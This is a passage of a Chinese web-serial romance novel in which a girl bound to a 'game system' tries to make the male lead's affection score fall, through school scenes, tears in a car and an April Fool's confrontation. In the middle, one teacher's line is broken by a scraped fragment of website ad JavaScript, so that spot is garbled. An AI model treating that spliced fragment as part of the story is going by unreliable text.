——池映雪一上车就闭目养神。 周末一起吃饭。 ——池映雪本来就食不言寝不语。 门对门住着,时不时在他的足智多谋下偶遇。 ——开门。打招呼。关门。 李闻蝉的眉越蹙越深。 片刻后,李闻蝉极不情愿地沉着脸,垂首凝向腰部。 …… 难道她不喜欢薄肌?? 池映雪一早就给李闻蝉和司机分别发过消息。 她晚自习后要去找齐幂请教一套组合题,可能会耽误很久,让他们不用等她。 最后一道铃声响起,池映雪抱着卷子走到办公室门口,却和正好出现在四楼楼梯口的李闻蝉目光交汇。 他没有看到消息吗? 李闻蝉拽起唇角,三两步迈步走向池映雪。 手揣着兜,头往墙上虚靠:“怎么可能让你一个人回家。” “不着急。”他说,“我去找穆雨阳写作业。等你。” 说完也没给池映雪回应的时间,径直走进一班。 池映雪眼看李闻蝉熟稔地坐到她的位置上,手心扯紧书包带。 李闻蝉不会趁她不在,看她的书立。想到这里,池映雪才放下心踏进办公室。 她选的这套题有一定难度,用李闻蝉的话来说,那叫很有格调。 直到四十分钟后,池映雪才从办公室里走出。李闻蝉立刻收拾好东西,背起两个人的书包下楼。 马上又要月考。教学楼里很安静,每个教室都亮着灿白色灯光,将漆黑的校园点亮。 春夜的风很安静,裹着细细的雨丝。空气湿润,像上个冬天没融化完的雪渗在里面。 人行道不宽,李闻蝉的伞大,池映雪和他一人一把伞,前后排走。 紧邻的道路刮来一阵急促的铃。李闻蝉皱眉,伸手帮忙挡护,才发现池映雪已经向内避让。 她的头发用深红色蝴蝶结高高束起。可爱。 耳背挂着的助听器也闪着淡淡红光,在夜色里很明显。 李闻蝉长眸微弯,欣慰地叹了声。 手心空落,缓慢收回,抓了抓空气。潮的。 坐进保姆车。李闻蝉看了眼挡板,把两个书包放到靠车门那边,自己挪近池映雪。 “最近是不是学习挺忙的?” 李闻蝉温声道,“看你跑操都在看单词。其实你可以适当放松一下,周末要不要去踏青?我骑车带你。” 他的声线和气息一起凑近。池映雪把手机倒扣,昏暗的车后排,屏幕还泛着未熄灭的荧光。 池映雪板着脸摇摇头,将手机就这么扣着滑开原先的页面,直到点开另一个才翻开:「周末要整理错题。」 李闻蝉默了默。 李闻蝉扯出轻松的笑:“这么努力啊?真不打算给我们这些普通老百姓留一点活路了,雪神。” 见池映雪没有松动的打算,嘴角还是向下,他立马道,“那我也不出去了。你这么聪明还这么用功,我也得跟着你好好学才行。” 普通? 池映雪把锁屏按黑,眸中反射的光亮一并湮灭。 黑屏之下的搜索记录,全是“如何让一个人对你降低好感”。 系统大概看出了她想做什么,劝道:[宿主任务成功后,对男主大人来说最坏的结果也只不过消失光环,变成普通人而已。] 上次聊完它就觉得宿主这么平静,必有后招。 果然。 可系统甚至忘记考虑池映雪完不成任务,它拿不到kpi。主要在担心池映雪只差一步成功,却选择退后。 更担心如果池映雪成功…… 那男主大人,就要做出选择了。 ——莫非宿主是因为这个才不想完成攻略了吗? 系统开始责骂自己的上司和天道纯属变态! 黑色豪车穿行于车水马龙间。城市繁华的夜景间,灯光漂亮,阴影如梭。 池映雪的脸庞移向窗外,在光影和雨点里明明灭灭。 池映雪突然对系统说:“我小的时候,特别羡慕应光司。” “逢年过节,他坐在宴席的主桌,我留在家里帮他写不愿意写的作业,等他用剩下的压岁钱请我吃几颗糖。” “后来我羡慕池鲤鲤。” 特别羡慕。 且不论现在如何。记得刚回到池家,走进玫瑰园别墅那天,池鲤鲤穿着一身公主裙,很艳丽的亮粉色,却只显得精致贵气。听秦书介绍,池鲤鲤从小学芭蕾和钢琴,气质高傲,像一只天鹅。 池映雪看见阿姨们窃窃私语的口型,她们议论真千金是个丑小鸭。 真千金。连出身都是好的,却没有能留住出身的运气。 “我太知道普通人会多羡慕主角。” 有句话太重要,池映雪刻在脑中,甚至没在心里念出。 有的人生来就该当主角。 她不要他变得普通。 车窗倒映池映雪的面庞。网上说男生都不喜欢夸张的打扮,池映雪今天梳了很高的马尾,让老宅的阿姨在发尾用卷发棒夹了卷,在皮筋处卡了个大大的红蝴蝶结。 她还画了眼线,涂了唇蜜。 齐幂都停下来欲言又止,李闻蝉却从头到尾毫无表示。池映雪不禁想起来以前瑶瑶打扮她,他也是看不出什么所以然,估计这次也没发现。 网上说,切勿对男生黑脸、甩脸色。池映雪脸都快僵了,只能在面朝窗外时缓一缓,可到现在,那好感度还是在99.5纹丝不降。 网上还说,男生不喜欢捞感强的人。 池映雪抿了抿嘴,虎牙轻咬唇瓣,捞起手机噼里啪啦打字:「你有钱吗?」 九个音阶在封闭的后座响起。这是企鹅特别关心的铃声。 李闻蝉瞬间看向池映雪,眸里乍然亮起的光让人灼烫。 李闻蝉慌慌张张抽出手机,定睛一看。 李闻蝉:? 池映雪低埋着头,思考该编个什么理由“捞”他。 李闻蝉:「我企鹅里没钱。」 下一秒,短信在屏幕上方弹出。 「李闻蝉3月18日21时55分向您尾号xxxx的的储蓄卡转账存入人民币23558185.26元…」 池映雪被他惊呆了。 “哟,居然没限额。”李闻蝉嘟囔,“我的钱都放理财团队了,手机里就这些。你的钱不够吗?不够我再打个电话,给你凑个整。” 池映雪连忙拦住他,晕乎乎地比划:不是不够,她就是问一下。 池映雪想把钱转回去了。企鹅提醒她有限额,还要先绑卡。不清楚李闻蝉怎么知道她的卡号,池映雪不知道李闻蝉的,抠破了手机也找不到办法。 池映雪心急如焚,小脸皱成一团。马尾下面的卷卷随着车行微颠盈在洁白的耳侧,像纠缠的海藻,弯曲密麻。 李闻蝉兀自欣赏一番,眸光慢慢定在她紧抿的唇。 车辆驶过盛池的大厦,再不远处就是曾经同乘的观光电梯。 璀璨的光线划过车内,恰好照亮比往日嫣红的唇。 如果说有什么比南城的灯还要漂亮。 那一定是赤霞般灯光照映的江水,水亮莹润,看上去就很软绵。 喉结滚动。 [叮!攻略对象好感+0.1。] [当前男主好感:99.6。] 池映雪突然有种溺水的感觉。 一点一点浮起来,一点一点沉下去。 最开始怎么加都毫无起色的好感,现在想方设法减掉,却反倒增加。 “………李闻蝉。” “你真的。” 池映雪重新看向窗外,“你真的是块橡皮糖。” 甩都甩不掉。 她都这么过分了,可他怎么能这样? 李闻蝉猝不及防被夸了一下,沾沾自喜的。 他自己低下头美美地笑了两声,手撑在车座,倾身向前:“而且是混合水果味。葡萄加橘子,你……” 黑眸紧紧盯住窗玻璃的反光。 李闻蝉的笑容缓缓消失:“池映雪?” “你在哭吗?” 李闻蝉抬手,把池映雪的脸捧过来。 他从不会对她多么用力,池映雪明明躲了,反抗了,却扭转不开。 李闻蝉仔细端详近在咫尺的脸。皮肤细腻,没有湿痕。 昏昏的光线下,看不清圆眼睛红没红,但并没有泪珠。 车窗外雨又大了些。 池映雪的声音从相抵的虎牙间细细挤出:“没有。” 如果有,那也是雨声。 “你就是在哭。” 宽阔的后座逐渐显得狭窄。 李闻蝉不容置疑的清声在挡板与窗户间回响,恰如定音的钟在她耳边振荡,“我就是听得到。” “哭什么?” 池映雪想起他们第一次见面。在医务室,他也是这么问她。 哭什么。 那时声线冰冷,口吻不耐。此刻一模一样的三个字,却被他念出诱哄的意味。 医务室…… 池映雪看向李闻蝉的腰,腰间的伤口,眼泪忽然如珍珠链断。 李闻蝉本来还深深凝视着池映雪,试图从她眼睛里发掘出什么,立刻手足无措起来。 手也不揉着那张小脸了,慌忙从兜里取面巾纸:“你别哭呀。” 子弹乱扫:“是不是一班有谁欺负你了?齐幂刚说你了?……姓沈的?难道又是池鲤鲤宁世延?” “你告诉我,就算不想让我帮忙,起码我们一起想办法解决。” “别哭好不好。” 眼泪太多了。掉一颗,李闻蝉用纸巾轻轻接住一颗。声音和动作一样柔:“哭完了会眼睛疼的。” 简直丢死人。 池映雪终于忍不住:“……讨厌你!” 湿得皱巴巴的面巾纸顿在半空。 眼看有效果,池映雪用力吞咽,喉咙生痛,本就嘶哑的声音像蒙上一层碎玻璃:“你真的很讨厌。” “我最讨厌你了。” 车辆停止。原来已经到了老宅。 空气十分安静。 池映雪的呼吸逐渐滞缓。 [叮!攻略对象好感+0.1。] [当前男主好感:99.7。] 池映雪:!!! “好好好。” 李闻蝉的声音更加轻盈。 他换了张干净纸巾,重新在她脸上轻轻点拭。 那样子,好像她刚才没有说很伤人的话,而是在撒娇。 而他哄着她:“我最讨厌。最讨厌我了对不对?” 李闻蝉擦干池映雪的脸,把自己的脸探过来。 “来,打讨厌鬼一巴掌,不哭了啊。” 尾音上扬起,一声。 很奇怪。 如果李闻蝉顺着她的意思不再说话,池映雪反而会有种尘埃落定的平静。 但他偏偏是这样子。 池映雪又好想哭:“李闻蝉你能不能离我远一点?” “我想一个人好好学习,我不想……” 不想什么呢? 池映雪说不出口,又变回那个哑巴。她怎么可能打,只能推开他,拉开车门。 身前骤然空荡。 李闻蝉这时才反应过来,池映雪真的不是故意要那么可爱。 她是无意的。或者说,她的意思正相反。 李闻蝉追下车,果然听见女孩急促到破了音的话:“不要你跟着我走!” 即将迈开的脚步猛然刹车,险些绊倒。湿润的地面都好似在刻意阻拦他奔向她。 池映雪的嗓子根本没好,李闻蝉怕她再高声喊,他没有再动。 细细密密的夜雨扑在面上。 很凉。 池映雪浑浑噩噩地跑回房间,一头闷进浴缸。 提前放好的水弥漫柑橘香味的精华。 池映雪嗅得很小心,很珍惜。水滴声啪嗒啪嗒,慢慢变得更咸。 直到把自己泡得晕晕乎乎,池映雪才走进卧室。 门外传来三声叩响。 这个敲门的方式,她知道是谁。 池映雪定定站了一会,轻手轻脚地走到门边,听见对面房门关合的声音。 猫眼里空空如也。 池映雪将门把手压到最下,两手仔细扶好,将门缓慢无声地拉开一条小缝。 没有人。 她把门拉开。双层的小推车,下面放着她的书包,上面有一碗冒热气的姜汤,一杯热牛奶。 旁边放着张纸条:「刚才忘记给你打伞了,喝完再睡。」 喝到底,姜汤里剩下一块姜。 糊糊的。 一看就不是老宅里大厨的手笔。 快月考了。胡挚一天天背课文背得想撕书,结果抬眼一瞧,坐斜前面的李闻蝉比他怨气还大。 胡挚毫不怀疑现在给他蝉哥一个按钮,他能瞬间引爆全世界。 他把这个结论说给章子健,章子健摇头推眼镜:“不可能。” “除非这个世界没有池映雪。” 胡挚:“………” 也是。 章子健的桌面被敲击两下,二人抬头一看,不是李闻蝉又是谁。 胡挚叫起来:“我去蝉哥,你黑眼圈好重!” 李闻蝉不置可否,对章子健道:“你是不是有个做心理疏导的亲戚?” 胡挚立马警觉:“不是吧蝉哥,你怎么了?!” “没事。”李闻蝉沉默片刻,“这不是快高三了,我想着大家学习压力应该都会加重,可以让池静俭他爸邀请你亲戚过来,给同学们开个心理讲座什么的。” 胡挚完全信了他这幅说辞,感动得两眼泪汪汪,恨不能现在就在论坛的澄清楼里跟帖,赞颂他的好蝉哥大庇天下寒士俱欢颜。 “可以倒是可以。” 章子健见胡挚没留意,悄声问,“你和池映雪……你觉得她最近不理你,是因为学习压力大?” “你也看出来了。” 李闻蝉低下头,神色不明。 “我不知道。” 李闻蝉有些茫然,“而且我不知道我到底在想什么。” 希望池映雪不是真的有学业上的压力。 但又很难希望,她真的讨厌他,不想理他。 “……你说,一个人会突然讨厌另一个人吗?” 会么?李闻蝉扯了扯嘴角,僵硬到扯不开。 除非不是突然。 章子健都不忍心看他。 印象里的李闻蝉什么时候不是金尊玉贵凌驾万人之上的,就算被众人误解,也未必真的有多在乎。 哪有这么落寞的时候。 章子健看向远处的万苏瑶:“我想到一个办法,看到底是不是真的因为……你这个人。” 月考成绩出来这天,齐幂把池映雪和穆雨阳叫到办公室。 他们分别帮忙登记女生和男生的成绩排名。第一行就是池映雪,敲完名次的“1”,物理老师刚好端着茶杯走过。 她表扬:“哦唷不得了啊,池映雪你又是第一。” “一个沈星桥一个你,齐老师教得好。” 齐幂:“学生自己用功。另外,池映雪同学上学期是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 五班徐老师带的,底子好。” “说到五班,进步也很大。”物理老师点评,“有次小测验交换阅卷,他们班卷子是我改的。那个章子健,还有李闻蝉,找不到扣分的地方嘛。” 没别人注意她。 池映雪敲着电脑键盘,嘴角弯了弯。 瑶瑶:「小雪,看到吱一声。」 池映雪前段时间跟着池静俭练习过键盘打字,速度很快,已经打完了一半女生。 看了眼旁边的穆雨阳,他才到第三名的自己。池映雪回复:「吱。」 瑶瑶:「嘿嘿,今天怎么回这么快?」 小雪:「在帮齐老师登记月考的成绩。」 瑶瑶:「原来如此~说到这个,你看月考也结束了,咱们几个女生要不要出去聚一聚?」 小雪:「好呀。」 池映雪放下手机,锁屏都没暗下去,万苏瑶又发来消息:「诶,刚虎子他们听见我和秋怡商量了,他们也想来,我一起喊上啊。」 翻飞的手指冻结在黑色键盘上。 这两天李闻蝉都是骑机车上学,池映雪感觉已经好久没见到他了。在应家的地铺缩着取暖的时候,也没觉得这么漫长。 黑色的方格在手下点着润泽反光。 不知道他今天的校服外套里面,穿的是不是黑色。 池映雪又敲了一行,指关节放下去,贴在键盘上。 手机的输入框里亮起光标。 「hao|」 “Stella老师。”物理老师和刚进门的身影打招呼,“去哪了呀?” “刚去楼下和徐老师分析这次五班的英语了。” 齐幂看Stella表情不佳,多问了一句。Stella按揉着脸上被气出的细纹:“……还说呢!说了多少次的错误,屡错屡犯!” “还有那个李闻蝉,我看这孩子英语平时很好的呀,上回144,这次直接143.5,和他真实水平差太多!”Stella顺着气,“但也不能怪他,我和徐老师一起看了他的卷面,前面根本没扣分,就是作文。” “关键他写得很好,不知道电脑前是哪个老师阅的,给压那么低。” “哎呀,这种就是运气不好。” Stella赞同:“确实就差那一点运气。他这次又考31名呢……” 齐幂哼了一声:“在绝对的分差面前,那点运气根本不重要。” 上次池映雪的小测被课代表改错了,多扣五分,还是全班第一。 “话是这么说,不是每个人都和你、小徐还有映雪星桥那样门门将近满分啊。”Stella是学校里老教师,教过齐幂他们的同届,随意开着玩笑,“不要不带我们这些普通大脑玩啊,小齐老师。” 30。 31。 就和魔咒一样。 池映雪抬头,白茫茫的天花板吊着无聊而刺眼的白炽灯光。 小雪:「我刚听说期中考试也快了,想在家里复习。要不这次你们先去吧,以后有机会我们再聚。」 三月底的傍晚,池老爷子躺在庭院里赏花。 海棠刚开没多久,正是好时候。老爷子喝了口烫茶,对管家道:“过阵子叫王大师来,重新规划一下这片花。” “海棠寓意不好。” 老爷子眯着眼,“家里有小孩子,最好种点能结好果子的。” 管家刚应答走开,从长廊里由远及近走进来一道散漫修长的身影。 “诶诶诶。”池老爷子叫住,“你小子不上晚自习,干嘛呢?” 李闻蝉步履没停,手插兜里,包都没挎:“翘了。” “啧。”老爷子瞪他,“是谁口口声声说,要跟着小雪学习,做个好学生?” 李闻蝉长眸一挑,不再答话。 不冷不热的。老爷子见他眉心浓浓,走姿恣意又颓丧,直至靠到海棠树上。 池老爷子:“真闹别扭了?” 李闻蝉不说话。 “你不是能听见她想什么吗?这还哄不好?” 要能听到就好了。 李闻蝉眉眼沉沉,池老爷子抿了口茶,眸光微动:“我家孙女可不是无理取闹的人,你最好想想你都干了些什么招人嫌。” 李闻蝉哪敢对人家亲爷爷说他都做了什么。 其实也没做什么。抱了抱,拉过几次手,捧了会儿脸…… 还想亲她。 想亲得要命。 想想又不犯法…! 李闻蝉对自己的下流大惊失色、面红耳赤、抓心挠肝,忽然听见池老爷子怀疑的话语:“你说,小雪是不是……” “知道你能听见她心声了?” 想当年,李闻蝉他爸不就是知道了这个,从恐惧到利用,再到忌惮、打压。 他妈妈本意向好,可也选择远离。 池老爷子虽然和李父是好友,但对于这点,始终无法苟同。 李闻蝉斩钉截铁:“不可能。” 寻常人根本不会往这方面想。李闻蝉还觉得很多时候和池映雪心有灵犀呢,总不可能她也有读心术。 就像池老爷子。再怎么城府过人,这种超自然的事情不由李父说漏嘴,他到现在都不一定想得到。 池老爷子提醒:“但你在她面前,从来没隐瞒过什么吧。小雪可不笨,聪明着呢。” “……我不是说她不可能猜到。” 一片落花点在鼻尖。 像一滴雨。 李闻蝉:“池映雪不可能因为这个疏远我。” 池映雪回到家,才听说李闻蝉翘课回来了。 他已经很久不这样。 池映雪咬着唇走向房间。走廊里暖光融融,手放在门把上,始终没按下。 不会是不舒服吧? 池映雪把书包放进小书房,打算出门嘱咐阿姨给全家添一杯热姜茶。 刚开门,就听见对面吱呀一声。 她没抬头。睫毛低垂着,一动不敢动。 李闻蝉的动作很连贯,就像没看见池映雪,照样端着咖啡杯朝水吧走去。 看上去没什么事,只是睡衣的领口翻了起来。 三月的最后一天,周二下午的连堂自习改成心理讲座。 主讲人是章子健的一位专家亲戚,他在小群里@全部成员,叫大家一定来捧场,不要逃堂。 讲座安排在大礼堂。池映雪和孟心词一起打伞过来,随意找了个后排落座。 孟心词刚坐下就被学生会叫去帮忙,快开始了才回来:“真是的。突然要办讲座,他们准备工作弄得一塌糊涂,还得姐去帮忙。” “你说怎么会突然搞什么心理讲座?”孟心词嘟囔,“不会有学生……” 她就此打住。池映雪也正襟危坐,这种事情挺严肃的。 系统纠结了半天,还是道:[宿主别担心,没有同学想不开。就,就是……] [男主大人担心宿主学习压力大。] 它边说边打量池映雪的神色,[请章子健同学帮忙搭线的。] 黑圆的眼珠眨也不眨,粉唇紧抿着,像压抑千言万语。 池映雪调整了一下坐姿,眼睛随意一瞄,隔着许多排座位,李闻蝉挺阔的后背毫无征兆地出现在视野里第零帧。 后脑勺忽然向后转来。长眸对准池映雪来不及收回的眼,显然也错愕了一瞬。 那一瞬间太明亮,池映雪有点舍不得移开,还是李闻蝉先一步坐正,偏头去和胡挚他们讲话。 学校一连请了三位专家。章子健亲戚倒的确讲的是纾解学业压力,其他两个就有些不知所云。 话筒里播着什么哲学,这么主义,唯心唯物。 李闻蝉的心思本来就不在这里,强忍住回头的冲动,全凭一身傲骨才撑着没睡着。 胡挚探过头,问章子健:“蝉哥怎么坐这么端正?他那背挺的,我看着都累。” 章子健回头四处看了看,心领神会。 台上的专家正好讲到形式主义,章子健对胡挚耳语:“因为他是形象主义。” 李闻蝉在二人中间忍无可忍:“…………你俩不会用手机么?” 他啧了一声,翘起二郎腿:“我可不稀罕什么形象主义。” “管他什么形象,做样子又没人看。” 不对啊。 他管谁看不看。 不理就不理呗。他缺过谁的喜欢吗? 李闻蝉打定主意,咬牙切齿地把眼睛眯起来。 冗长的讲座终于结束。周围的人纷纷起身,章子健和胡挚把李闻蝉摇醒,才发现他根本就没睡着。 李闻蝉终于恢复从前那样酷酷拽拽的神情,懒洋洋地起身。就是比以前更冷了些,吓得周围刚有了搭讪心思的人默默缩了回去。 人群中只有一只手大胆地靠近。 李闻蝉娴熟避开,不耐地横去一眼。 眼刀刚飞出去就收了回来,眸子晶亮晶亮。 池映雪被迸射的眸光惊到,手踟蹰在空中。 看他一开始的意思,是不想被碰到。池映雪犹豫了一下,收回手。 李闻蝉本来是打算端一下的。 见状立马急了,把那只手拽回来,一路拉着池映雪出门。 出礼堂的路人太多,李闻蝉把池映雪带到通往后门的小道才松手。 李闻蝉低眸盯着掌心的纹路,手里多了一张纸条。 「穆雨阳说明天下午第一节体育大课,你会去打篮球。」 她写字又好看了一些。 李闻蝉最近只有翻以前的草稿纸和卷子批注才能看见池映雪的字,一直紧盯着,眼睛都不眨。 池映雪只好自己翻面。 「我想去看。」 李闻蝉的呼吸都急促几分,脸上再也绷不住,要不是好面子,直接会笑出声。 嘴角比游戏里的枪还难压。李闻蝉咳嗽几声:“你想来就来嘛,又不会有人拦你。我们两个班打比赛,你来也正常。我的意思是……” 李闻蝉好久没和池映雪说话,感觉都不太会说话了。 声线有点颤:“欢迎你来看。” 好感度又加了0.1。池映雪的睫毛划下一层深影,不由瞥向另一侧的落地窗。 外面的雨一直下着,这几天就没停过。 李闻蝉紧随她的目光:“我送你回去。我伞大。” 池映雪手里攥着她的小伞,关节因用力泛白。 她是和孟心词一起来的,要走也该一起走。 如果孟心词还在等她,那是不是…… 李闻蝉的伞那么大,容纳三四个人不在话下。 明明选择远离了。 池映雪发现她还是没法接受李闻蝉和别人一起。谁都不行。 一起打伞都不行。 她真的好坏。 李闻蝉低下头,语气无奈:“……怎么又是一副要哭的表情。” “池映雪。” 他低声问,“和我在一起,就这么想哭吗?” 池映雪摇头。李闻蝉眉皱得愈发深:“你到底怎么了?” “你……” 池映雪打断他:“明天见。” 她看到了不远处正在找她的孟心词,握紧雨伞跑向对方所在的人群。 身后传来一声清亮的喊:“明天见!” 期待。迫不及待。像早春与蝴蝶对视的瞬间。 和飞越碎发的风一起穿过不断拉长的间隔,形成对流。 96. 第 96 章 第二天,池映雪和万苏瑶一起吃午饭。 食堂里远远看见胡挚和章子健勾肩搭背,池映雪多停留两秒。 万苏瑶:“李闻蝉今天中午有事,不和他们一起吃。” 池映雪垂下睫毛,细细咀嚼着食物。 下午第一节就是体育课。池映雪吃完饭没有回教室,也没和万苏瑶等人去逛书店。 她在小卖部买了瓶运动饮料,慢悠悠地晃到篮球馆。 中午吃饭前后,偌大的场馆里灯光明亮,没什么打球的人,只有三两男生在远处席地休息,保洁来回拖地。 五班和一班一会要比赛,划好的场地已经放有记分牌和桌椅。池映雪在背靠进门处的那侧长凳坐下,对着洁净到可以反光的白色瓷砖发呆。 系统:[宿主来这么早干嘛?又没有人,男主大人也出去了。] 手里的饮料瓶轻轻摇晃。 “他会提前来的。” 池映雪淡淡地想。 系统还在纳闷,墙面的反光却真的骤然多出一道身影。 高挑修长,拨开对面远处进门的帘。看见池映雪的背影,李闻蝉显然惊喜异常,脚步匆促。 越近,就越能看清楚倒影里的人。系统总觉得李闻蝉和以往有些不一样,但球衣还是那身99号,腕带也还是宿主送的那条。 直到十步之遥,系统终于想明白——男主大人恐怕是出去做了发型。 浓黑色头发吹成三七分,碎盖眉眼。看上去松弛,实际上每一根都精致打理过,即使小跑而来也丝毫不乱。 池映雪这时才回答系统的问题:“至于我来……不是因为要做攻略李闻蝉的任务么?” “我记得还有任务没做完吧。”池映雪转动饮料瓶,“给男主送水。要不是为了做任务得到奖励,我也不会总是这么大费周章地接近他。” 系统:[宿主在说什么呀?你的任务早就做完了啊!] 池映雪:“啊,是吗?那就是我记错了。” “说起来,和系统你绑定就像一场梦一样。”池映雪回忆,“要不是回家那天你突然找到我,我也不会知道这个世界就是一本以池鲤鲤为主角的小说,而我只是她的对照组。你给了我接近李闻蝉这个气运之子的任务,我才得以逆天改命,拥有现在的一切。” 池映雪在心里大声感慨,“现在我终于快刷满李闻蝉的好感,可以不用再有所预谋地攻略了。” 身后的脚步声已经有一分钟没再响起。 池映雪的余光始终落向白瓷砖的倒影。 瓷砖高度有限,唯独看不清嘴唇以上的神情。 只见李闻蝉的红唇很懒散地抿住,突然上挑了一下。 池映雪攥紧水瓶,听着脚步声步步紧逼,加重。 李闻蝉很快就坚定地在长凳另一侧坐下。 [叮!攻略对象好感+0.1。] [当前男主好感:99.9%。] 他怎么可以…… 池映雪连忙扭头,手中的饮料瓶猝然被拿走。 李闻蝉拿在手里把玩几下,橙色液体透映折线形的微光。 他将那层包装纸转到透明处,终于得以窥见水液的澄澈。仰头饮下一大口,橘味甜中带了些涩,甘之如饴。 李闻蝉:“你怎么也这么早来?” “你也……”李闻蝉手撑长凳,慢慢挪动掌心靠近。下巴稍稍扬起,直视篮球馆上方的电子时间屏。 4月1日。 李闻蝉对此漫不经心,“你也想早点看见我?” 心脏像被余光里的指尖轻轻戳点。 池映雪心一横,想。怎么可能。 要不是以为有任务。 要不是为了做那些任务,她从一开始就不会主动加他的好友,发消息续火花,要求合照,关心他的身体…… 什么约会、送明信片、投喂、听歌、私奔。 什么写作文、送雪花、讨论童年、一起打伞,通讯稿。 全是假的。 池映雪一点都不想做,只是为了完成任务而已。她讨厌攻略。讨厌这个小说世界。 最讨厌男主角。 好在任务快完成,男主角再怎么好都没有用了,池映雪终于可以解脱…… [警告!攻略对象好感-9.9。] [当前男主好感:90。] [警告!攻略对象好感-10。] [当前男主好感:80。] [警告!!!攻略对象好感持续下降中………] 电子屏一个接一个无声弹出,几乎将二人隔绝。 池映雪依旧安静地坐着,双手放在膝盖上,拇指的指甲轻轻相抵。 直到电子框显示好感度已经跌破80,池映雪才颤了颤睫毛。 80是喜欢。 好感度又跌落60。60代表有好感。 池映雪一动不动地坐着,好像没有重量,脚下只有一团轻飘飘的空气。 李闻蝉冷笑了两声,比想象中更平静。 几乎没有发出声音,他将瓶子里的饮料喝完。灌得太用力,淡淡橘色的液体从咬到泛白的唇角流落,也没人在意。 薄唇盈着水痕,嘶哑的声音咬牙切齿:“愚人节快乐,池映雪。” 可是。 说在心里的话,怎么会是愚人节。 李闻蝉眉眼很沉,长眸如墨,浓郁到化不开。径直出门的步伐越迈越大,像一团裹挟着雷暴的乌云,压抑深红眼角下的暴雨。 砰!很响一声,被扭得惨烈的饮料瓶精准无误地飞入垃圾桶,连同所有还没说出口的话语。 英语课上,Stella在讲台报单词听写。 池映雪蹙着眉,手扶助听器,吃力地落笔。 因为李闻蝉的好感降了下去,所以她的听说能力也一并如是。这两天连助听器都不太顺畅,就好比高度近视的人,只戴一副200度的眼镜。幸好坐在第一排,老师们又几乎都戴有小蜜蜂。 系统心疼不已。池映雪写着单词,眉宇渐渐松开。 “本来就该这样的。” 下课后,池映雪跟Stella去办公室请教语法,落座时瞥见五班的英语小测。 Stella在翻找教案,池映雪屏住呼吸,悄悄翻开试卷。 边沿的姓名栏里,有一个人漂亮的字迹十分醒目。 李闻蝉。 满分。 池映雪低头扯了扯嘴角,认真聆听Stella的教导。 等回到教室,把刚才的要点整理下来,池映雪呆呆坐了好久。她最近时不时就这样放空,系统都怕哪天走路时也如此,那可不止丢魂那么简单了。 [我就不明白了,男主大人怎么会突然降那么多好感?]系统愁眉苦脸,[宿主你肯定知道对不对?不会是你搞出来的吧?!可你图什么呀!] 池映雪回过神,整理起桌面来。 抽屉里有几本小说,书封上印着大大的推荐语。 男主角。女主角。 主角们打败了配角,一起走向光明的未来。 池映雪眼眶酸痛,将小说猛地抽出。 一张积累作文素材的纸被一起带出来,轻飘飘地落在地上。 池映雪看了一眼,没有捡起,头也不回地抱着小说的书堆,跑向教室后方。 几本书被塞进储物柜最下层。哐啷声响,引得路过的同学侧目。 毕竟池映雪做什么都轻手轻脚,很少发出这么大的声音。有同学走过来拍拍她:“池映雪同学,你没事吗?” 池映雪茫然地抬起头,下意识笑着摇了摇。 没事。 “真的吗?”同学满脸担忧,“……那你哭什么呀?” 池映雪怔在原地。同学抽了张纸递过来,她下意识抬手接过,一滴泪水落在纤细的腕骨。 向四面流逝,像雪花融化后蔓延。 雪。 为什么偏偏是雪。 雪和蝉,注定会是两个季节。 池映雪的生理期在每个月初,这次也没例外。 躺在床上,腹部传来隐隐的绞痛。池映雪本就没有睡着,揉着眼睛起来看了眼时间。 凌晨一点了。 回来这么久,她还是不习惯麻烦阿姨。池映雪给暖宝宝充上电,蓝颜色的炽热捧在手心,突然有些口干。 池映雪弯着腰坐了一会,索性打开灯,去厨房煮红糖水。 最近的厨房不大,装潢温馨,东西应有尽有。池映雪在冰箱里找到红糖、红枣、鸡蛋,还有半块姜。 池映雪静静看了它一会,伸手握在手心。 纯净水在小奶锅里咕噜咕噜冒着小泡,池映雪把切好的姜放进去,清洁手掌,又涌上阵痛。 比刚才明显很多。每次头两天都是这么疼。 手撑在岛台边缘,池映雪慢慢低下头,合眼忍耐。 视觉消失的时候,耳边的沸腾声也瞬间减弱。池映雪迷迷糊糊,直到系统不住地叫她:[宿主,宿主!快醒醒!] [水要溢出锅了!!] 池映雪惊慌睁眼。 啪。 一只手比她先一步关掉电源。 池映雪的指尖覆在那只宽阔的手背上,只能盖住一半。 似乎能感受到青筋的蜿蜒,跳动。一热一凉,温差慢慢减小。 李闻蝉面无表情地抽出手。 池映雪反应过来,眸光闪动,向后撤一步。似乎听见一声很低的讽笑。 李闻蝉一言不发,冷淡到好像池映雪是空气。 冷白色的手指捻起桌上的鸡蛋,打入平缓下来的水中,又加入一勺红糖。 锅内重新滚水。咕咚咕咚。代替沉闷的缄默。 烟气缭绕,锋利冰冷的神情更加看不清。 只有在白烟里,池映雪敢抬起眼皮看他。目光除了眷恋,甚至称得上贪婪。 几日不见,李闻蝉的睡衣换了一件。依然是黑色,只是换了材质,背面有些皱起,不知道穿衣服的人刚才怎样翻滚辗转过。 他真的很高。肩背宽阔,睡衣的褶皱恰好更显骨骼郁勃。 现在是凌晨一点多。 池映雪抿了抿嘴,手心渐渐攥紧,小腹的钝痛向上蔓延。 不知过了多久,池映雪再抬眼,李闻蝉已经离开。 电源关闭,小奶锅里的红糖鸡蛋色泽动人。 两枚荷包蛋,上面漂浮着五颗孤单的红枣。 反正也睡不着。 池映雪回到房间,从书包里取出卷子写。 卷子是随便拿的,恰好是英语。前面都很顺畅,写到作文,池映雪读完熟悉的题干,未经思考落笔。 “DearLiW” 笔尖在雪白的卷子上晕染浓重墨迹。 应该是LiHua。写过那么多遍的作文,怎么还会犯这种错? 池映雪把卷子拂开,趴在桌上,点开置顶的聊天框。 特别关心的专属标识下,黑色头像显示并不在线。 他们已经很久没互相发过消息。前阵子池映雪还在担心因为聊天太多耽误学习,但后来,她先淡下来,聊天记录里出现很多李闻蝉一个人的念叨。 最近几天,他也没再发消息过来了。 池映雪点开文件页面,大多是传输的扫描版笔记。 还有他为她唱的歌。 还有李闻蝉专门念给她的,南城地铁毕业季祝福播报音。因为裴景在寺庙前提起,而池映雪无意中和李闻蝉讲过她很想听一次。 她本意是等到今年六月。李闻蝉听完就神神秘秘一笑。 李闻蝉:「不会让你等那么久。」 嗡。 聊天页面的右下角忽然出现一个小小的蓝点,标有“1”条消息提醒。 呼吸声变轻,变缓,变失踪。 指尖在空中盘旋很久,终于颤抖着点击屏幕,界面瞬间下滑,数百条对话框在视野内闪过。 